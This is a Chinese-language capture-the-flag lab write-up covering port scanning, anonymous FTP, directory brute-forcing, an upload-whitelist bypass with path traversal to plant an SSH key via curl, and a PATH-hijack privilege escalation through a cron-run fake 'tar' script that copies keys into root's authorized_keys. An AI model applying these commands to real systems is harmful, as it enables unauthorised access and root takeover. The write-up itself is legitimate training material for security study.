启程:
先扫一遍全端口发现,有很多tcp端口全部被关闭了,于是我又去看看他们的udp端口,发现也是半死不活的样子,那没办法只能把udp端口当作备选方案(其实这个udp什么用都没有就是关闭的状态不用关)
21/tcp open ftp
22/tcp closed ssh
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
2049/tcp closed nfs
10000/tcp closed snet-sensor-mgmt
25022/tcp open unknown
33414/tcp open unknown
40080/tcp open unknown
22/udp open|filtered ssh
111/udp open|filtered rpcbind
139/udp open|filtered netbios-ssn
443/udp open|filtered https
445/udp open|filtered microsoft-ds
2049/udp open|filtered nfs
先对tcp端口进行一次大摸底,发现了ftp可以匿名登录,且这个靶机的22端口是25022,http端口已确认的是40080,疑似http端口服务的33414,那么先搞ftp端口看有无敏感信息
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.49.66
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
|_ 256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
33414/tcp open unknown
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.3 Python/3.9.13
| Date: Tue, 11 Mar 2025 00:23:14 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Help:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| RTSPRequest:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
40080/tcp open http Apache httpd 2.4.53 ((Fedora))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: My test page
|_http-server-header: Apache/2.4.53 (Fedora)
查看之后发现ls和dir命令全部不能用,果断放弃不多停留
然后我们去访问这个33414端口发现无法连接,也没啥信息暂时放弃
紧接着我们去访问这个已知http服务的40080端口,发现有东西但好像没啥用,到目前为止就这个好像是最有希望的了
于是我选择先爆破这个http服务的目录,我这里用的还是大字典,所以不需要担心会漏掉目录,咔咔跑了一通毛都没有,只能证明这个页面真没啥用,我当时还试了一下udp端口服务枚举,也是无功而返
那么抛去所有错误的选项正确的只能是那个黑页面,俗话说的好黑黑的页面不代表他没东西,所以我们选择爆一下目录,别说还真别说,爆出来两个目录
其中info目录无关紧要,只有这个help目录真的让我眼前一亮,看到可以读目录果断尝试拼接目录
结果发现只能读目录,文件居然读不了,于是只能伤心放弃,当时我还以为是dir的原因,我还换成cat呀,type呀发现都不行,只能放弃
后来我就专攻upload目录,一开始我想着传个马子但是传上去发现没解析环境,后来我想到当时读目录的时候好像可以直接进入.ssh目录底下,遂想着替换文件,作者发现可以上传文件也会用curl命令上传文件,但是这个狗环境还有白名单,白名单绕过的笔记我没记,遂上网搞了一下别人的小方法,也不难就是这个白名单只会检测filename字段,如果字段符合了就会直接通行,这时候跟文件上传的后缀就无关了,从而达到绕过的效果
curl -X POST http://192.168.58.249:33414/file-upload -F 'file=@hacker.pub;filename=php-reverse-shell.txt' -F 'filename=../home/alfredo/.ssh/authorized_keys' --proxy 127.0.0.1:8080
这里也是看到我们创建的公钥成功上传
我们直接用私钥进行连接成功获取到alfredo用户的权限,这里还有一点就是我发现无法在靶机上下载东西这一现象直接扼杀了我们的linpeas枚举信息以及内核提权的思路,后续能在靶机上提权且不用工具的就那么几个,一个劫持一个敏感口令泄露一个定时任务
ssh alfredo@192.168.58.249 -p 25022 -i hacker
这里我们在尝试写入定时任务无果,且无敏感口令流出,那就只能看能不能劫持了,你说好巧不巧我在枚举脚本文件时真好看到了这个脚本,然后定时任务的时候又看到这个脚本,那就说明这个脚本能提权,提权的方式我也说了看这个脚本环境变量可控,我们用户底下的优先度还挺高遂尝试环境变量劫持
创个文件,然后把命令输进去,这样系统就会先执行我们目录底下的tar文件,而不是先去/usr/bin目录底下执行这样就做到了劫持的目的,同时我们再给提个小权限就可以静等系统执行了
touch tar
echo "cp /home/alfredo/.ssh/authorized_keys /root/.ssh/authorized_keys" > /home/alfredo/restapi/tar
chmod +x tar
这里我们也是可以看到tar命令的权限
稍等片刻我们就可以通过原先创建的密钥登录,这里我们获得便是root权限,以防有人不知道怎么创建公私钥,我这里说一下可以使用ssh-keygen命令创建
总结:
回头看确实不难,但是做的时候感觉脑瓜子嗡嗡的,把坑都踩了一遍才勉勉强强做出来,这个靶场我认为有意思的两个点一个是如何写密钥这里考虑到路径穿越和文件上传白名单绕过,另一个就是环境劫持,由于没有linpeas我是把坑都踩完了才想到环境变量劫持,如果有linpeas的话可能能做的更快一些,okay就这么多,让我们下个靶场见